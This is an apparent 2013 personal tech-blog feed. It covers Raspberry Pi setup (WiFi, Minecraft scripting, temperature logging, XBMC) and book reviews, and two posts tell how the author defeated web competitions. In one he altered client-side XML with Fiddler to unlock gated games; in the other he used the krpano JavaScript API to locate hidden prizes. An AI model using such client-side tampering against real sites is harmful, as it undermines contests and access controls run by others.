<code>dd</code>
until all the lines are gone then 
<code>i</code>
and paste in

<code>auto lo

iface lo inet loopback
iface eth0 inet dhcp

auto wlan0
iface wlan0 inet dhcp
wireless-essid UR_ESSID!!!!!
wireless-key UR_KEY!!!!!
wireless-mode managed

#allow-hotplug wlan0
#iface wlan0 inet manual
#wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet dhcp</code>

Press [ESC] to enter command mode
move to the UR_ESSID!!!!!
<code>x</code>
repeatedly
then
<code>a</code>
and type in your ESSID
Press [ESC] to enter command mode
move to the UR_KEY!!!!!
<code>x</code>
repeatedly
then
<code>a</code>
and type the hex key for your access point.
Press [ESC] to enter command mode
<code>:wq</code>

<code>sudo shutdown -r now</code>

Once the Pi is back up the Wifi dongle is lit and logging on shows it has an IP address !!

<code>ps auwx</code>
shows no sign of the pesky wpa_cli or wpa_supplicant.

Next I want to see how easy it is to hack my WEP wifi network.
</description>
</item>
<item>
<title>WEP up the raspberry pi</title>
<pubDate>Fri, 10 May 2013 20:48:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2013.html#100520132048</link>
<description>
Time to Wifi my Raspberry Pi.
Make sure device is plugged in BEFORE powering up the PI, hot plugging killed mine (numerous times, killing the SD card installation, now recovered).

Boot the pi and do the standard update,upgrade and rpi-update.

The release I used was 2013-02-09-wheezy-raspbian
<code>uname -a</code>
<code>Linux raspberrypi 3.6.11+ #427 PREEMPT Fri Apr 26 20:53:06 BST 2013 armv6l GNU/Linux</code>

To find what the wifi adaptor is run
<code>lsusb | grep -i wireless</code>
Mine returns
<code>Bus 001 Device 005: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter</code>

Now when I run
<code>ifconfig</code>
it shows wlan0 but no IP address

<code>iwconfig</code>
shows

<code>wlan0     IEEE 802.11bgn  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          
lo        no wireless extensions.

eth0      no wireless extensions.</code>

all ready but not connected to anything.

<code>sudo iwconfig wlan0 essid MYESSID key MYWEPHEXKEY</code>
shows no errors and another
<code>iwconfig</code> shows the ESSID correctly, but running  
<code>sudo iwconfig wlan0 essid MYESSID key MYWEPHEXKEY</code>
again removes it!
Something else has control of the Wifi...

<code>sudo killall wpa_cli
sudo killall wpa_supplicant</code>
These two processes are used for non WPA encryption and are not needed for WEP.

now <code>sudo iwconfig wlan0 essid MYESSID key MYWEPHEXKEY</code>
associates with the access point (wifi dongle lights up)
no ip address in ifconfig

so 
<code>sudo dhclient wlan0</code>
it LIVES !!

In the next post we will set the Pi up to connect at boot automatically.
</description>
</item>
<item>
<title>Close up with the git process</title>
<pubDate>Fri, 03 May 2013 21:50:31 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2013.html#030520132150</link>
<description>
So, in my <a href="http://www.jumpstation.co.uk/flog/May2013.html#030520132124">previous post</a> I noted how to contribute on open source using Github and I tried to keep it as brief as possible, this time I would like to expand on each step.
:log in to Github
If you are not logged in you can not 'fork' someone else's project and that is what we are here to do.

:find project you want to help
I am guessing you already know which project you want to help but you can use the search facilities on Github. As well as searching on name you can find projects based on programming language and popularity.

:click &quot;fork&quot;
'Fork' in this case refers to 'fork' in the road. Starting in one place and diverging into multiple. The key to this magic is it allows any changes you make on your 'fork' to be reintegrated based on the fact that the 'fork' took place at a known point in the commit history of the base project.

:clone fork to your local machine
install git and run
<code>git clone https://github.com/MYGITUSERNAME/NAMEOFTHEPROJECT.git</code>
(this command text will be in a text box on the clone page)

This is simply the act of getting a copy of the 'fork' (that may not physically exist anywhere) and creating it on your local machine, ready to be worked on.

:develop locally
do what ever you need to.

Most likely you need to create new code or update existing code, but it could be copying and image file you want to add to the project into the project folders.
Preferably you will use some kind of compiler and or IDE to ensure your changes are "good".

:identify yourself
<code>git config --global user.email "YOUREMAILADDRESS@USEDWITHGITHUB"
git config --global user.name "MYGITUSERNAME"</code>

This is important to allow the changes to be tracked against your account, this is a good thing.

:commit locally 
<code>git commit FILETOCOMMIT</code>
seems weird but make sense if you think about it long enough.
In the editor delete all lines, they are just a guide and enter your commit notes.

Why commit locally ? This goes back to the "All things to all people" comment. It is not uncommon to find people using git (not necessarily Github) to version projects solely on their local machine.
Imagine a designer checking in commits each time they add a new component to an image. Later if they need to view an earlier version of the image it is in git (locally). Many other uses including automated backups exist.
So for us its just a log of changes that we have made, the more you remember to commit the more options you will have to roll-back.

:commit to Github
<code>git push origin master</code>
enter log in details

Now we are happy with the local changes we need to store them on the big Github servers in the sky, so everyone can see them.

:Create a pull request
log in to Github 
find your project
click &quot;pull&quot; and enter notes that will be read by the project you cloned.

This is the term new git users have the most problem with. By creating a "Pull request" you are sending a message to the original projects owner/s that someone has made some changes to the code base and they should take a look. But they do not HAVE to, or if they look and do not like what they see they can either ignore it or send comments to the submitter. Hopefully they will like what you have proposed, in which case the magic of git will allow them to commit your changes into the Master (base) code base.
There is also one other life your "fork" may have, someone else may "fork" it and so on and so on.

sit back and feel smug.

It is almost always better to fix things than leave them for someone else to fix.

</description>
</item>
<item>
<title>Mini guide to contributing to open source with github</title>
<pubDate>Fri, 03 May 2013 21:24:45 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2013.html#030520132124</link>
<description>
This happened a while back, I just assumed it would be easier by now, how wrong could I be?
Github tries(needs) to be everything to everyone, but what I wanted from it was to make a simple change to an existing project.
So after many hours I finally tracked down what I needed to do to pull this off, it is easy but for some reason no guide, tutorial or blog seems to talk about it like this.

:log in to Github

:find project you want to help

:click &quot;fork&quot;

:clone fork to your local machine
install git and run
<code>git clone https://github.com/MYGITUSERNAME/NAMEOFTHEPROJECT.git</code>
(this command text will be in a text box on the clone page)

:develop locally
do what ever you need to.

:identify yourself
<code>git config --global user.email "YOUREMAILADDRESS@USEDWITHGITHUB"
git config --global user.name "MYGITUSERNAME"</code>

:commit locally 
<code>git commit FILETOCOMMIT</code>
seems weird but make sense if you think about it long enough.
In the editor delete all lines, they are just a guide and enter your commit notes.

:commit to Github
<code>git push origin master</code>
enter log in details

:Create a pull request
log in to Github 
find your project
click &quot;pull&quot; and enter notes that will be read by the project you cloned.
sit back and feel smug.




</description>
</item>
<item>
<title>Raspberry Pi spreads out on SD TV RCA</title>
<pubDate>Sun, 17 Mar 2013 23:16:49 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2013.html#170320132316</link>
<description>
As I have mentioned <a href="http://www.jumpstation.co.uk/flog/Mar2013.html#120320132157">before</a> we do not have a HDTV to plug the Raspberry Pi into, which is fine for <a href="http://www.raspbmc.com/">RasMBC</a>.
<a href="http://www.raspbmc.com/">RasMBC</a> also has a decent display setup meaning I could centre and resize the screen to fill the entire TV, but the standard <a href="http://www.raspbian.org/">Raspbian</a> does not and the LXPanel desktop window manager just fails if you try and setup the 'Monitor'.
This means both the Desktop and the CLI boot tty is pretty unusable, with the prompt lost to the left hand side of the screen and no menu and hardly any buttons on the Desktop.
A solution does exist, but I only found it after fixing my <a href="http://www.jumpstation.co.uk/flog/Mar2013.html#120320132157">problem with Minecraft Pi</a>. There are extras settings for Top,Bottom,Left and Right overscan.
<code>sudo vi /boot/config.txt</code>
After a lot of playing about by SD TV needs
<code>overscan_left=31
overscan_right=35
overscan_top=37
overscan_bottom=0</code>
and I could have sworn that I had those number almost right, changed one parameter and then had to fiddle them all to get back to something sensible.
http://elinux.org/R-Pi_ConfigurationFile
http://elinux.org/R-Pi_Troubleshooting#Writing_spills_off_the_screen_on_HD_monitors
Annoyingly each change required a reboot and to start up X11, which was a pain because the my USB mouse dies each time X11 starts, fix is to unplug and replug.
</description>
</item>
<item>
<title>Cory Doctorow and the Seven trials</title>
<pubDate>Thu, 14 Mar 2013 21:14:03 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2013.html#140320132114</link>
<description>
I thought I would finally provide the Cory Doctorow book reviews I promised <a href="http://www.jumpstation.co.uk/flog/May2012.html#050520122141">last year</a>, mainly because the the pile of seven books seems to take over.
The pile is only there to remind me to post the reviews, afterwards they go into storage ... ready for the next generation.

I think this was the order I read them, not that its important, what is note worthy is I bought most of them for &pound;0.01 (+P&amp;P)from Amazon. You can download all of them for free from his website in various ebook/etext formats.
http://craphound.com/

<a href="http://craphound.com/makers/">Makers</a> 
I actually read this on my phone on my daily commute, but also bought the paperback version, cannot remember in what order.
<a href="http://craphound.com/makers/">Makers</a> is all about reusing, initially technology that has been cast away and then 3D printers that can even print 3D printers.
This subject is very close to my heart and I long to understand enough about electronics to be able to tip out the huge collection of odds and ends, motors and sensors, chips and wires I have accumulated over the last ten+ years.
The story is well woven and highly readable I love the way it evolves from mucking about with electronics and sell the odd item on eBay to creating a movement that Disney want to get in one.
Recommended.

<a href="http://craphound.com/down/">Down &amp; Out in the Magic Kingdom</a>
This one is harder to summarise, there are virtual consciousnesses, rival gangs, murder(ish) and whuffie.
<a href="http://en.wikipedia.org/wiki/Whuffie">whuffie</a> became a recognised thing, but had died now.
Not as good as some of his others, but still worth a read.

<a href="http://craphound.com/someone/">Someone Comes to Town, Someone Leaves Town</a>
This is amazing, there are mountains, a winged love interest, golems, washing machines, brothers who ingest each other and so much more.
Oh and by the way they are the main characters, yes all of them, including the mountain and the washing machine. Yet somehow it all comes together into a highly readable adventure that you can not predict.
So recommended.

<a href="http://craphound.com/littlebrother/">Little Brother</a>
This one is true cyber punk, there is technology coming out of everything, but yet there is heart humanity and a possibility of a terrible dystopian future.
Aimed at young adults, this a thrill ride fun read.
Recommended

<a href="http://craphound.com/content/download/">Content</a>
Not fiction, but a collection of essays regarding copyright and freedom of information.
As mentioned <a href="http://www.jumpstation.co.uk/flog/May2012.html#050520122141">previously</a> this is a true *YOU MUST READ THIS BOOK* title, please for love of everything decent read this book and then get everyone on the planet to do the same.

<a href="http://craphound.com/est/">Eastern Standard Tribe</a>
This is the most forgettable of the collection. I remember snippets, like the transfer of of songs when you drive by other vehicles and the economics that go with that, or the sanatorium roof.
I remember thinking it was good...&lt;shrug /&gt;

<a href="http://craphound.com/ftw/">For The Win</a>
This book is really really well written, highly imaginative with lots of plot, story, characters and locations. I wonderfully blend of Asian and American cultures within cyberspace and out in the real world. From the prison type factories to the WOW grinders and gold farmers, to police brutality and gang warfare.
Recommend and recommended again.

I got <a href="http://craphound.com/pc/">Pirate Cinema</a> from a <a href="http://blog.humblebundle.com/post/33714074132/humble-ebook-bundle-is-now-five-times-more-hilarious">Humble Bundle</a> of ebooks and graphic novels. Not sure when I will read it. Currently trying to find time to read <a href="http://en.wikipedia.org/wiki/Flatland">Flatland</a> which was originally printed in 1884.


</description>
</item>
<item>
<title>Magic stairs in the land of Raspberry Pi Minecraft</title>
<pubDate>Tue, 12 Mar 2013 21:57:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2013.html#120320132157</link>
<description>
Raspberry Pi Minecraft.

I wanted to show my oldest that you could do programming on the Raspberry Pi and I know how much he loved playing Minecraft on the iPad. Not in survival mode but just creating his own house adding doors, paintings, bridges etc.
<a href="http://pi.minecraft.net/">Minecraft Pi</a> is available for free download so I thought I would give it a whirl.
Step one <a href="http://pi.minecraft.net/">download and install</a>
Then run it, oh the mouse has stopped working after selecting a game from the menu ...
Keyboard still works and nothing else is running, ESCping back to the menu shows the mouse working fine ...
After many hours of digging I hit on a tiny foot note at the bottom of a <a href="http://www.minecraftforum.net/topic/1697992-screen-is-off-center/">post about the screen being misaligned</a>, which it was.
So it is all because we do not have an HDTV!!
Still, after disabling overscan I now cannot read the terminal prompt but Minecraft runs fine.
Next job, find out how to program in Minecraft ... go to http://pi.minecraft.net/ and follow the links "get started", "official site" and "dedicated wiki".
But, alas no, those are generic links to the Raspberry Pi standard web pages, nothing about programming Minecraft.
There are a few blog posts so I started with the headline catcher <a href="http://www.stuffaboutcode.com/2013/02/raspberry-pi-minecraft-analogue-clock.html?m=1">"Analog clock in Minecraft Pi"</a>.
I expected a in game console window like in quake '~' anyone? but instead you run python scripts that "connect" to running Minecraft sessions.
Being as this a low resolution non-HDMI setup this proved quite problematic, I could run Minecraft or a terminal window, not both, ALT+TAB did nothing.
I did find a way of moving to the second desktop with ALT+TAB(nothing visual changed but then I could) CTRL+ALT+[Right arrow], this gave a me a clean desktop which I could run terminal.
Now the trick was to run the python scripts and then switch back to desktop one to watch the fun, CTRL+ALT+[Left arrow].
After getting <a href="http://www.stuffaboutcode.com/2013/02/raspberry-pi-minecraft-analogue-clock.html?m=1>Analog clock</a> to work (creates a giant analog clock) I tried <a href="http://www.stuffaboutcode.com/2013/01/raspberry-pi-minecraft-hide-and-seek.html?m=1">Hide and seek</a> (hides a block and then tells you if you are warmer or colder trying to find it and finally the <a href="http://www.stuffaboutcode.com/2013/01/raspberry-pi-minecraft-api-basics.html?m=1">API demo</a> which shows examples of most type of commands, add, delete, change, move, wait, print etc.
Now I needed a mini project I could work on with the boy...
In the end we opted for a simple staircase routine, move forward, move up, add brick, rinse repeat, instant staircase reaching for the sky.
<code>#Raspberry Pi, Minecraft  Stairs
# By Alex Davis 2013/03/11

import minecraft.minecraft as minecraft
import minecraft.block as block
import time

if __name__ == "__main__":
    
    time.sleep(2)
    mc = minecraft.Minecraft.create()
    mc.postToChat("Hi, Welcome to Alex's Stairs ")
    time.sleep(5)
    playerPos = mc.player.getPos()
    stairsPos = minecraft.Vec3(int(playerPos.x), int(playerPos.y), int(playerPos.z))

    for up in range(0, 50):
	stairsPos.y = stairsPos.y + 1
	stairsPos.x = stairsPos.x + 1
        mc.setBlock(stairsPos.x, stairsPos.y , stairsPos.z, block.DIAMOND_BLOCK)

    time.sleep(2)
    mc.postToChat("Your staircase is finished, enjoy")

</code>
<img src="images/minecraftraspberrypistairs.jpg" alt="screen shot of the stairs script run in Raspberry Pi Minecraft" />
FYI I tried <code>scrot</code> and <code>import</code> to take the above screenshot but both returned black rectangle where Minecraft was.
now for our next project...
</description>
</item>
<item>
<title>Cheap USB temp sensor for Raspberry Pi graphing CSV</title>
<pubDate>Tue, 05 Mar 2013 22:27:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2013.html#050320132227</link>
<description>
I had heard some bad stories about ordering cheap USB devices from China on eBay, but for &pound;4 inc P&amp;P I would take the risk.
To my surprise the package came just 4 days later...
Plugged it in and using <code>dmesg</code> found the id of the device <code>New USB device found, idVendor=0c45, idProduct=7401</code> which I could then Google on.
Found lots, but settled on 
http://bitplane.net/2012/01/temper1-ubuntu/ as it seemed to be the simplest requiring no dependencies.
Other candidates included
http://www.eanderalx.org/blog:linux:hid_temper_pc_sensor
https://github.com/edorfaus/TEMPered
http://www.penguinsunbound.com/User:goeko/Temp_Sensor
How easy you ask...
<code>git clone https://github.com/bitplane/temper.git
cd temper/
make
sudo ./temper</code>
<code>05-Mar-2013 22:21,25.253262</code>
And there is a handy continuous logging script.
<code>sudo ./log.sh | tee templog.csv</code>
(tee echos the output and also saves it to a file, 'T' for T-Junction).

Strange thing was the temperatures being recorded seemed rather high, normally 8-10 degrees more than I expected (gauging from the central heating panel in the hall).
This went on for a couple of days, was the USB gadget faulty, or even fake ?
No, the Raspberry Pi was running about 10 degrees hotter than the ambient temperature and the USB temperature logger was acting like a heat sink!
Unplugged it, added a short USB cable (30cm) and the logged temperatures are back to what I expect and the logger is cool to the touch.
So how to view all this temperature data ?
<a href="http://www.penguinsunbound.com/User:goeko/Temp_Sensor">One</a> of the previous temperature logging drivers/apps had a detailed explanation of using the csv data to power a GNUPlot graph.
GNUPlot is designed to be the single point of focus for any kind of graph you can imagine, from basic line, bar and scatter to 3D, recursive and <a href="http://heim.ifi.uio.no/~inf3330/scripting/doc/gnuplot/Kawano/fractal/mandelbrot-e.html">Fractal 3D</a>.
This in turn means that it is not the easiest of things to start with. After numerous attempts I finally created a .GP script that works with the files created earlier.

<code>#!/usr/bin/gnuplot
#set terminal png size 1200,800
set term png size 1200,800 enhanced font '/usr/share/fonts/liberation-fonts/LiberationSans-Regular.ttf' 12
set xdata time
set timefmt "%d-%b-%Y %H:%M"
set output "room_temp.png"
# time range must be in same format as data file
#set xrange ["29-Jan-2013 00:00":"20-Feb-2013 00:00"]
#set yrange [0:50]
set grid
set xlabel "Time"
set ylabel "Temp"
set title "Room Temp"
set key left box
set datafile separator ","
plot "templog.csv" using 1:2 title "Office Temp" #with lines</code>
(note the xrange and yrange are optional)
Now I have a room_temp.png which looks like
<img src="images/room_temp_20130302_20130305.png" alt="temperature graph from GNUPlot" />
This was directly after I attached the USB cable and you can see the temperature plummet as it cools, away from the Raspberry Pi. The two dips are when the window was open. The trick will be to track trends...

</description>
</item>
<item>
<title>murder in 1998 and technosphere from 1997</title>
<pubDate>Fri, 22 Feb 2013 20:56:02 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2013.html#220220132056</link>
<description>
Back in 1998 you could do this 
http://web.archive.org/web/19990829170137/http://www.dsikar.demon.co.uk/murder/
and no one would bat an eyelid.
I know the guy and he used to get very serious requests from that page...
1997
http://web.archive.org/web/19981205045247/http://tdg.linst.ac.uk/technosphere/index.html
good times, good times ...

</description>
</item>
<item>
<title>freedom from Angels and Demons to report the photosynth hack of 2009</title>
<pubDate>Thu, 21 Feb 2013 22:55:59 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2013.html#210220132255</link>
<description>
After my fun with <a href="/flog/Feb2013.html#210220132211">BT Buzbys</a> I reread my 2009 <a href="http://jumpstation.co.uk/flog/Mar2009.html#%20060320092240">exploits</a>.
At the time it was very important that I not reveal the details(ethical hacking), but now it is time to lift the veil.
Here is the original(which was a lot of fun to write)

Once upon-a-time there was a new and exciting technology, but it was so new no one was using it and the only way to experience it was to watch the developers demonstrate it at trade shows.
Then the word was given that a web site would use the new technology and create a new user experience, the word was good.
<s>Many</s>Me visited the site but the proclaimers stated the doors were closed. Despondent I tried again and again to visit the holy lands only to be shunned.
Until a fate full day when the proclaimers did proclaim all come welcome and I did enter the hallowed gates to find ...
Four sacred chapels, each with the revered experience held within, but each guarded by three challenges!
The challenges were difficult and tedious so I did what any soul in search of enlightenment would do, I cheated.
Seems the client received word from up above as to which challenges and chapels were accessible. I sent down false words and thus the chapels opened and unto me all challenges fell open. But alas the holiest of holys, the new experience was hidden from me, so it was that I told each of the challenges how to be, and as master of the challenges found them no challenge.
Now armed with not only the challenges and chapels key I also had the markers of immaculate completion and once again I requested the experience.
Now and only now I realised that I was missing an important browser upgrade that the gated ones keep hidden.
Released from the burden of having old and wretched browser plug-ins I gazed upon the experience and although it was a sight to beholden I saw a weakness.
So unto I did <s>download</s>receive the holy scriptures and with sprinkling of bash did I determine that the hidden passages were in fact touched with additional meta-data that did reveal itself unto me.
And I found myself saying unto the higher ones this is how I did hackdisturb your site and they said OK thanks we will fix that less thy exploit these weaknesses to win great and magnificent prizes.
Hear the word of the White hat 2009-03 

The "new and exciting technology" was <a href="http://en.wikipedia.org/wiki/Photosynth">Photosynth</a>, away of combining lots of 2D images into a 3D world.
The web site to use this technology was a promotional site for the new(at the time) <a href="http://en.wikipedia.org/wiki/Dan_Brown">Dan Brown</a> film <a href="http://www.imdb.com/title/tt0808151/">Angels and Demons</a>.
It was launched with a teaser countdown, nothing was there until the timer reached zero.
Once it reached zero there were three challenges to complete before being able to use the <a href="http://en.wikipedia.org/wiki/Photosynth">Photosynth</a>.
The "challenges" were annoying Silverlight games that I had no patience for, three games for each of the four levels, each with different <a href="http://en.wikipedia.org/wiki/Photosynth">Photosynth</a> experience at the end.
<a href="http://www.fiddler2.com">Fiddler</a> showed me that the Silverlight was downloading each games "levels" as plain xml files.
Fiddler can be setup to offer up a file from your local file system when a specific URL is requested from the browser. I download the game levels, alter then to make them one move to win and told fiddler to server them. Silverlight uses the browsers network stack so the Silverlight client never know that it was not getting legitimate files and I could complete all the games in a single move.
Each Area only opened on a set day, but once again this information was in the xml file, so I just offered up one that said they were all open.
You would think that would be the end of the story but I was very interested if where I was working could use the <a href="http://en.wikipedia.org/wiki/Photosynth">Photosynth</a> Silverlight client in our own web sites so I looked at what happened when, after unlocking everything the <a href="http://en.wikipedia.org/wiki/Photosynth">Photosynth</a> ran.
It downloaded xml files that told it what images to use, I used that information to download all the images.
I then used an "exif" tool in cygwin/bash to find the the dates of the files and low an behold the special files showed up as being edited at a completely different date than all the rest.
Then I realised the file stamp had the same information, "doh!".
The point of the competition was to find a secret area in each part of the <a href="http://en.wikipedia.org/wiki/Photosynth">Photosynth</a> unlocking entry into competition sweepstakes for motorbikes, holidays and generally not cheap stuff.
I had spent sometime in the <a href="http://en.wikipedia.org/wiki/Photosynth">Photosynth</a> trying to find things but the navigation was not linear, sometimes trying to go one way would fail because you did not click on the right pixel, very frustrating.
This whole excursion had been for a legitimate reasons to explore the new Silverlight <a href="http://en.wikipedia.org/wiki/Photosynth">Photosynth</a> client I did not want to get into trouble for hacking the competition and so after checking one of the locations by looking at my image store and the "special" images I reported my "ease" of access.
Being the responsible hacker I crafted a detailed report of what had happened, how I had done it and what they could do about it. Unfortunately my boss sent the email to the marketing department who then forwarded it to anyone they could find and it got very messy very quickly, I had to hand over the email address I had used on the web site and I never tried to access it again.
I presume they fixed it by encoding the xml data and updating the Silverlight clients to require it to be encoded...
Maybe I should have just won the competition...
It did log scores, so the fact I had completed each game in a single move in under 5 seconds and I had done so on areas that should have been locked at the time would have tipped them off.
</description>
</item>
<item>
<title>Hacking the BT Buzbys</title>
<pubDate>Thu, 21 Feb 2013 22:11:31 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2013.html#210220132211</link>
<description>
This reads like my <a href="http://jumpstation.co.uk/flog/Mar2009.html#%20060320092240">story</a> (highly obfuscated) from a <a href="http://www.jumpstation.co.uk/flog/year2009.html">few years ago</a>.
BT released a 320Gb panorama taken from the BT tower at the end of the 2012 Olympics.
http://btlondon2012.co.uk/pano.html
The level of detail is amazing and actually a bit frightening, no blurring of faces or number plates and you can see into windows miles away.
After sometime of peering into windows and just being enthralled by the constant high quality I came across a strange yellow chicken waving at the camera.
A frame appeared around him then the mouse was over, a colleague advised it was a competition and to click on it, highly exited I clicked filled in the form.
As a bit of fun BT are running a competition to find BT Buzbys (people in yellow chicken suits).
http://www.btplc.com/gigapixel/
After a while I returned to the panorama and wondered how they were noting the location of the Buzbys .. and down the rabbit hole I fell.
<a href="http://www.fiddler2.com">Fiddler</a> showed me all the network traffic and I found that the Flash SWF being used to display the panorama called <a href="http://btlondon2012.co.uk/panorama/pano.xml">pano.xml</a>.
In that file was lots of information including
<code>
<point ath="168.489" atv="42.509" />
<point ath="-37.043" atv="2.784" />
<point ath="174.040" atv="2.786" />
<point ath="14.157" atv="3.132" />
<point ath="8.532" atv="43.300" />
</code>
Which was odd, there are only three Buzbys and what is ath,atv ?
The "ath" reminded me of maps and mapping onto spheres.
A quick Google for <a href="http://google.com?q=ath+atv+map">ath atv map</a> turned up <a href="http://krpano.com">krpano</a> which is a flash product for displaying panoramas!
Now how to map the coordinates from the xml file to the map I was seeing in the browser ?
Well <a href="http://krpano.com">krpano</a> have a well stocked forum and I saw references to a "screentosphere" function that could be called in Action Script and I started to look into plugins and ways of executing this method without touching the code..
Which lead me to a couple of notes that there was a JavaScript API, could I run "screentosphere" from the browser ?
http://www.krpano.com/forum/wbb/index.php?page=Thread&postID=9703&highlight=double+click+zoom
seemed to think it did!
Back to the panorama, but the code did not work! It couldn't find the SWF object, maybe they named it something else?
No, there it was <code>id="krpanoSWFObject"</code>
I needed to get at the object in the IFrame...
<code>var iframe = document.getElementById('panoapp');
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;
krpano=innerDoc.getElementById("krpanoSWFObject");</code>
But the code still did not work, "krpano" did not seem to be a function, I tried some minimal code
<code>var mousex = krpano().get("mouse.x");
var mousey = krpano().get("mouse.y");
var hvs = krpano().get("screentosphere("+mousex +","+mousey +")");</code>
Why wasn't it working?
<code>var mousex = krpano.get("mouse.x");
var mousey = krpano.get("mouse.y");
var hvs = krpano.get("screentosphere("+mousex +","+mousey +")");</code>
Worked, hvs contained my ath,atv based on the mouse position. I did not want to run this code every time I moved the mouse so I added "cheese"(and I regretted it later).
<code>function cheese() {
var mousex = krpano.get("mouse.x");
var mousey = krpano.get("mouse.y");
var hvs = krpano.get("screentosphere("+mousex +","+mousey +")");
console.log(hvs);
}

self.setInterval(function(){cheese()},1000);</code>
Every 1000ms(1 second) cheese would report the coordinates of my mouse in "ath,atv".
I scrolled over to the first Buzby and saw the coordinates of "ath=8.532, atv=43.300" it WORKED!!
Now to track down the other four Buzbys, but after some time staring at the console output from "cheese" I could not find anything at "ath=14.157, atv=3.132".
I was getting fed up with the coordinates from cheese being so jumpy and I realised that if the "screentosphere" function worked from JavaScript maybe there was a "centre map" function...
<code>krpano.call("moveto(8.532,43.300)");</code>
Set the display but no Buzby, which was odd because I knew it was there, "cheese" was still running and I manually moved the map to the known Buzby, but the coordinates were wrong, or were they.
"cheese" was showing "ath=168.489, atv42.509", hang on that was one of the other coordinates in the xml ...
If you zoomed in a certain amount the map jumps as if it is using another camera/data source(the contrast is quite different). When I zoomed past this point "cheese" reported quite different coordinates.
So calling "moveto" on the coordinates also required the manual step of zooming in and out until a Buzby is found.
<code>krpano.call("moveto(8.532,43.300)");</code>
<code>krpano.call("moveto(168.489,42.509)");</code>
<code>krpano.call("moveto(14.157,3.132)");</code>
<code>krpano.call("moveto(174.040,2.786)");</code>
<code>krpano.call("moveto(-37.043,2.784)");</code>
Will get you all three Buzbys depending on zoom level.

So if you are company running a competition where data is sent to the client just expect that someone will read it other than your code.

</description>
</item>
<item>
<title>raspmc usb keypad control</title>
<pubDate>Thu, 21 Feb 2013 19:09:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2013.html#210220131909</link>
<description>
<a href="/flog/Feb2013.html#190220132222">After setting up the raspberry pi with rasmbc</a>...
I did not want to use an remote control or a remote application(no wifi or LAN) so I dug out a USB Numpad.
<img src="/flog/images/numpadpi.jpg" alt="USB numpad" />
XBMC allows you to remap keys and controls to allow for different devices and preferences.
ssh into the running raspbmc pi
<code>vi ~/.xbmc/userdata/keymaps/keyboard.xml</code>
and add
<code>
&lt;!-- Keypad keymap for xbmc --&gt;
&lt;keymap&gt;
  &lt;global&gt;
    &lt;keyboard&gt;
      &lt;numpadzero&gt;OSD&lt;/numpadzero&gt;
      &lt;numpadone&gt;Stop&lt;/numpadone&gt;
      &lt;numpadtwo&gt;Down&lt;/numpadtwo&gt;
      &lt;numpadthree&gt;BigStepBack&lt;/numpadthree&gt;
      &lt;numpadfour&gt;Left&lt;/numpadfour&gt;
      &lt;numpadfive&gt;Select&lt;/numpadfive&gt;
      &lt;numpadsix&gt;Right&lt;/numpadsix&gt;
      &lt;numpadseven&gt;XBMC.ActivateWindow(Home)&lt;/numpadseven&gt;
      &lt;numpadeight&gt;Up&lt;/numpadeight&gt;
      &lt;numpadnine&gt;BigStepForward&lt;/numpadnine&gt;
      &lt;numpaddivide&gt;StepBack&lt;/numpaddivide&gt;
      &lt;!-- my numpad divide shows up as "forwardslash" --&gt;
      &lt;forwardslash&gt;StepBack&lt;/forwardslash&gt;
      &lt;numpadtimes&gt;StepForward&lt;/numpadtimes&gt;
      &lt;numpadperiod&gt;Info&lt;/numpadperiod&gt;
      &lt;numlock&gt;Pause&lt;/numlock&gt;
      &lt;!-- + and - handle the volume by default --&gt;
      &lt;!-- BackSpace is "back" by default --&gt;
      &lt;!-- Enter is "select" by default --&gt;
      &lt;!-- the Raspberry Pi uses Omxplayer which does not support FastForward or Rewind --&gt;
    &lt;/keyboard&gt;
  &lt;/global&gt;
&lt;/keymap&gt;
</code>
Now I have the USB stick in one USB port and the Keypad in the other, perfect.
<img src="/flog/images/numpadpi_key.jpg" alt="USB numpad with rasmbc key" />
</description>
</item>
<item>
<title>raspbmc silky smooth raspberry pi videos</title>
<pubDate>Tue, 19 Feb 2013 22:22:37 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2013.html#190220132222</link>
<description>
raspbmc

Or Raspberry Pi Media Centre using XMBC (XBox Media Centre) gives you a highly customisable media centre that can connect to the network for streaming off of use USB sticks for files.
I wanted to see how easy it would be to get something useful that I could rip the kids DVDs onto.
For some reason I had lots of issues with my SanDisk 8GB Class 10 SD card and the supplied installer script, but a manual install did the trick
<code>zcat ./installer.img.gz > /dev/sdc</code>
Where I had already downloaded the installer.img.gz file and sdc was the device assigned to the SD card.
Booted up the Pi and waited an age for the system to download the actual OS and install, then plugged in a USB stick with some video files.
Some of the videos were choppy, which was odd because I had heard great things about the Pi and full screen video decoding, then I found that the hardware video decoding is disabled and you must buy a licence to enable it.

Over the to the <a href="http://www.raspberrypi.com/">Pi Store</a> and for the price of a BigMac(tm) and fries got both the VC1 and MPG2 codecs, the next day I could play videos with no buffering, crystal.
<code>vcgencmd codec_enabled MPG2</code>
<code>MPG2=disabled</code>
<code>vcgencmd codec_enabled WVC1</code>
<code>WVC1=disabled</code>
<code>sudo bash
echo decode_MPG2=0xffffffff >>/boot/config.txt
echo decode_WVC1=0xffffffff >>/boot/config.txt
exit</code>
<code>vcgencmd codec_enabled MPG2</code>
<code>MPG2=enabled</code>
<code>vcgencmd codec_enabled WVC1</code>
<code>WVC1=enabled</code>
Where 0xffffffff is the hex code emailed to you when you purchase the codecs.

next time, controlling the raspbmc...
</description>
</item>
<item>
<title>raspberry pi panic button basic script</title>
<pubDate>Thu, 07 Feb 2013 20:43:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2013.html#070220132043</link>
<description>
I have big plans for my <a href="">panic button</a> on the Raspberry PI but, for now I am content just to note it is pressed.
